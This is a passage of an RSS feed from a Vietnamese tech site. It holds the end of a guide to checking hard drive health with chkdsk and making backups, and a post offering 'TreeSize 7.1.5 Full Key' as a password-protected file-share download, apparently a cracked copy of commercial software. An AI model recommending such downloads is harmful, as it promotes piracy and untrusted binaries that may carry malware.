<p>Trước tiên, hãy kiểm tra xem Driver của phần cứng có được cập nhật hay không. Đây là một bước cơ bản tốt cho bất kỳ thành phần nào và nó có thể cải thiện hiệu suất của ổ cứng lưu trữ nếu bạn gặp phải sự cố.</p>
<p>Nếu đã cập nhật Driver rồi nhưng không cải thiện được gì, hãy lệnh <code>chkdsk</code> (check disk) bằng CMD. Nếu đĩa cứng của bạn đã sử dụng lâu, hãy chạy lệnh này vài tháng một lần. Lệnh <code>chkdsk</code> khi bạn đang sử dụng quyền Admin, hãy mở CMD từ nút Start và chọn Run as Administrator.</p>
<p><a href="https://anonyviet.com/wp-content/uploads/2020/08/cmd-administrator-1-1.jpg"><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2020/08/cmd-administrator-1-1.jpg" alt="Hướng dẫn kiểm tra sức khỏe ổ cứng trên máy tính của bạn 56" width="587" height="509" title="Hướng dẫn kiểm tra sức khỏe ổ cứng trên máy tính của bạn 90"></a></p>
<p>Để kiểm tra trạng thái của tất cả các loại ổ đĩa, bạn chỉ cần gõ  <code>chkdsk</code> và nhấn <strong>Enter, lệnh này chỉ hiển thị lỗi nhưng không sửa lỗi</strong>. Nếu bạn muốn nó khắc phục sự cố, bạn cần chạy chương trình kiểm tra đĩa với tùy chọn /F hoặc /R.</p>
<ul>
<li>/F tùy chọn tập trung vào việc sửa chữa các lỗi hệ thống tập tin</li>
<li>/R bao gồm các chức năng của /f và thêm tính năng sửa lỗi bad sector và các lỗi vật lý khác.</li>
</ul>
<p>Ví dụ để kiểm tra và sửa lỗi ổ <strong>D:</strong> bạn dùng lệnh <code>chkdsk D: /f</code></p>
<p>Nếu sửa lỗi ổ <strong>C:</strong> bạn cần phải khởi động lại máy tính thì quá trình quét lỗi mới được thực thi.</p>
<p>Windows 10 được thiết lập để chạy chkdsk tự động, do đó đôi khi bạn sẽ thấy Windows tự động kiểm tra sức khỏe ổ cứng giúp bạn.</p>
<h2>Luôn có phương án sao lưu dữ liệu quan trọng</h2>
<p>Để tránh những ảnh hưởng xấu nhất của việc lưu trữ trên ổ cứng, hãy đảm bảo bạn đang thực hiện sao lưu thường xuyên. Tùy chọn tốt nhất là sử dụng phương án sao lưu dự phòng để lưu trữ dữ liệu quan trọng, chẳng hạn như <a href="https://anonyviet.com/cach-su-dung-cac-cong-cu-sao-luu-va-khoi-phuc-tren-windows-10/">File History</a> trên Windows. Theo cách này, nếu một bản sao lưu gần đây có cùng ổ đĩa, bạn có thể quay ngược thời gian để lấy các phiên bản trước đó của chúng. Ngoài ra bạn cũng có thể sử dụng các phần mềm Backup chuyên dụng.</p>
<p>AnonyViet khuyên bạn cũng nên sử dụng dịch vụ sao lưu đám mây (Google Drive, DropBox&#8230;.) để bạn có bản sao bên ngoài. Một giải pháp thay thế là sử dụng ổ cứng gắn ngoài để sao lưu thường xuyên hoặc khá giả thì chơi luôn RAID cho an toàn.</p>
<p>Khi bạn bắt đầu thấy các lỗi ổ cứng bị lỗi nghiêm trọng không thể sửa được bằng check disk thì đã đến lúc thay thế ổ đĩa càng sớm càng tốt. Nếu các lỗi có thể được sửa chữa, bạn có thể kéo dài tuổi thọ ổ cứng thêm 1 ít, nhưng nên thay ổ cứng mới càng sớm càng tốt cho an toàn.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>Ổ cứng của tôi có vấn đề gì nếu nghe thấy tiếng ồn lạ?</h3>
<p>Tiếng ồn lạ phát ra từ ổ cứng có thể là dấu hiệu cho thấy ổ cứng của bạn đang gặp vấn đề, có thể do tuổi thọ đã gần hết hoặc có lỗi vật lý.  Hãy sao lưu dữ liệu ngay lập tức và xem xét thay thế ổ cứng.</p>
<h3>Công cụ SMART có đáng tin cậy 100% không?</h3>
<p>Không, công cụ SMART không hoàn toàn đáng tin cậy 100%.  Mặc dù nó thường báo hiệu các vấn đề trước khi ổ cứng bị hỏng, nhưng một số lỗi vẫn có thể xảy ra mà không được SMART phát hiện.  Do đó, việc theo dõi cả các chỉ số SMART và các dấu hiệu khác như tiếng ồn lạ là rất quan trọng.</p>
<h3>Tôi nên làm gì nếu CrystalDiskInfo báo trạng thái &#8220;Thận trọng&#8221; hoặc &#8220;Xấu&#8221; cho ổ cứng của tôi?</h3>
<p>Nếu CrystalDiskInfo báo trạng thái &#8220;Thận trọng&#8221; hoặc &#8220;Xấu&#8221;, điều đó có nghĩa là ổ cứng của bạn đang gặp vấn đề và có nguy cơ hỏng hóc cao.  Hãy sao lưu dữ liệu quan trọng ngay lập tức và chuẩn bị thay thế ổ cứng để tránh mất dữ liệu.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/huong-dan-kiem-tra-suc-khoe-o-cung-tren-may-tinh/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Download TreeSize 7.1.5 Full &#8211; Phần mềm kiểm tra thư mục nào nặng nhất</title>
		<link>https://anonyviet.com/download-treesize-full-phan-mem-kiem-tra-thu-muc-nao-nang-nhat/</link>
					<comments>https://anonyviet.com/download-treesize-full-phan-mem-kiem-tra-thu-muc-nao-nang-nhat/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Fri, 28 Feb 2020 08:39:46 +0000</pubDate>
				<category><![CDATA[Phần mềm máy tính]]></category>
		<category><![CDATA[dung lượng ổ cứng]]></category>
		<category><![CDATA[hdd]]></category>
		<category><![CDATA[ổ cứng]]></category>
		<category><![CDATA[ssd]]></category>
		<category><![CDATA[Treesize]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=18263</guid>

					<description><![CDATA[Tự nhiên một ngày nào đó, bạn thấy dung lượng ổ C gần hết, báo màu đỏ. Bạn cần tìm ra thư mục nào đang chiếm dung lượng để xóa bớt. Nhưng bằng cách thủ công ta khó có thể biết thủ phạm nào gây ra đầy ổ C hoặc D,E&#8230; Với TreeSize 7.1.5 Full [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Tự nhiên một ngày nào đó, bạn thấy dung lượng ổ C gần hết, báo màu đỏ. Bạn cần tìm ra thư mục nào đang chiếm dung lượng để xóa bớt. Nhưng bằng cách thủ công ta khó có thể biết thủ phạm nào gây ra đầy ổ C hoặc D,E&#8230; Với TreeSize 7.1.5 Full Key sẽ giúp bạn thống kê đầy đủ chi tiết tình trạng dung lượng ổ cứng. Với giao diện trực quan, biểu đồ sẽ giúp bạn biết được thư mục hoặc File nào nặng nhất trong máy tính.</strong></p>
<p>Khi dung lượng<span style="color: #000000;"> <a style="color: #000000;" href="https://anonyviet.com/?s=%E1%BB%95+c%E1%BB%A9ng">ổ cứng</a></span> bị hết, ngoài việc sử dụng một số công cụ phổ biến để tự động dọn sạch các tệp rác. Nhưng chúng ta cũng cần phải xóa thủ công một số tệp/thư mục lớn khi cần thiết, để giải phóng hiệu quả không gian đĩa bị lãng phí khi nổ hoàn toàn.</p>
<p><a href="https://anonyviet.com/wp-content/uploads/2020/02/phan-mem-tim-thu-muc-chiem-dung-luong-Treesize.jpg"><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2020/02/phan-mem-tim-thu-muc-chiem-dung-luong-Treesize.jpg" alt="Download TreeSize Full Key" width="450" height="287" title="Download TreeSize 7.1.5 Full - Phần mềm kiểm tra thư mục nào nặng nhất 93"></a></p>
<h2>TreeSize &#8211; Phần mềm giúp tìm ra thư mục chiếm dung lượng lớn</h2>
<p>Windows không có tính năng tìm ra file hoặc thư mục chiếm dung lượng cao. Do đó phần mềm TreeSize là giải pháp dành cho bạn. Đây một tiện ích quản lý và phân tích hình ảnh không gian đĩa linh hoạt và mạnh mẽ. TreeSize giúp hiển thị kích thước của không gian đĩa bị chiếm bởi tất cả các tệp/thư mục trên máy tính của bạn sẽ rõ ràng trong nháy mắt.</p>
<p>Tất nhiên, TreeSize cũng cung cấp nhiều thông tin liên quan khác, chẳng hạn như số lượng file, ngày truy cập gần nhất, chủ sở hữu tệp, tỷ lệ nén, v.v. Nhưng đối với những người sử dụng chỉ muốn giải phóng dung lượng đĩa nhanh hơn, bạn chỉ cần tìm tệp / thư mục nào chiếm ít không gian đĩa trong nháy mắt. Sau đó để xem và quyết định xem bạn có thể xóa chúng không.</p>
<p>Với sự trợ giúp của TreeSize bạn có thể nhanh chóng lấy lại vài Gb đến vài chục Gb ổ cứng. Đặc biệt đối với phân vùng ổ C cần nhiều dung lượng để Windown hoạt động nhanh hơn.</p>
<h3>Các tính năng chính</h3>
<ul>
<li>Quản lý và dọn dẹp không gian đĩa hiệu quả</li>
<li>Hình dung việc sử dụng đĩa</li>
<li>Phân tích chi tiết, ngay xuống các cấp thư mục thấp nhất</li>
<li>Lưu trữ, sao chép hoặc di chuyển tệp</li>
<li>Nhiều tùy chọn xuất và báo cáo</li>
<li>Danh sách và tìm kiếm tập tin trùng lặp đa năng</li>
<li>Lịch trình quét và hiển thị tự động</li>
<li>Biểu đồ 3D và bản đồ cây cho tổng quan tối ưu</li>
<li>Kích thước bao gồm cả thư mục con</li>
<li>Không gian đĩa được phân bổ</li>
<li>Quét các ổ đĩa mạng trong miền Windows và trên máy chủ Windows</li>
<li>Tùy chọn dòng lệnh</li>
</ul>
<h2>Download TreeSize 7.1.5 Full</h2>
<p>Để kiểm tra xem thư mục hoặc file nào đang chiếm nhiều dung lượng trên máy tính, bạn cần cài TreeSize 7.1.5 Full. Phần mềm sẽ nhanh chóng thống kê các vị trí chiếm nhiều ổ cứng nhất. Từ đó bạn có thể đưa ra quyết định xóa chúng hay không.</p>
<p style="text-align: center;"><a href="http://www.fshare.vn/file/TITBSTEB22US" target="_blank" rel="noopener noreferrer"><strong>Download</strong></a></p>
<p style="text-align: center;"><strong>Password:</strong> anonyviet.com</p>
<p><strong>Cách sử dụng TreeSize 7.1.5 Full</strong></p>
<p><a href="https://anonyviet.com/wp-content/uploads/2020/02/Download-TreeSize-Full-Pro.png"><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2020/02/Download-TreeSize-Full-Pro.png" alt="Cách sử dụng TreeSize" width="656" height="356" title="Download TreeSize 7.1.5 Full - Phần mềm kiểm tra thư mục nào nặng nhất 94"></a></p>
<p>Ở giao diện phần mềm sẽ xuất hiện cây thư mục, bạn chỉ cần click vào từng thư mục, phía bên phải sẽ có biểu đồ thống kê thư mục nào nặng nhất. Từ đó có thể truy ra file hoặc thư mục nào đang chiếm ổ cứng của bạn.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>TreeSize 7.1.5 có giúp tôi tìm thấy thư mục nào đang chiếm nhiều dung lượng nhất trên máy tính không?</h3>
<p>Có, TreeSize 7.1.5 được thiết kế để giúp bạn nhanh chóng xác định thư mục và tệp nào đang chiếm nhiều dung lượng nhất trên ổ cứng của bạn bằng giao diện trực quan và biểu đồ chi tiết.</p>
<h3>Tôi có cần phải là chuyên gia công nghệ thông tin để sử dụng TreeSize không?</h3>
<p>Không cần. Giao diện của TreeSize rất thân thiện với người dùng, dễ sử dụng ngay cả khi bạn không có kinh nghiệm về công nghệ thông tin. Chỉ cần cài đặt và chạy chương trình, bạn sẽ dễ dàng nhìn thấy kết quả.</p>
<h3>Sau khi tìm thấy thư mục nặng nhất, tôi có thể làm gì với nó?</h3>
<p>Sau khi TreeSize chỉ ra thư mục chiếm nhiều dung lượng nhất, bạn có thể quyết định xóa bỏ, di chuyển hoặc nén các tệp bên trong để giải phóng không gian ổ cứng. </p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/download-treesize-full-phan-mem-kiem-tra-thu-muc-nao-nang-nhat/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
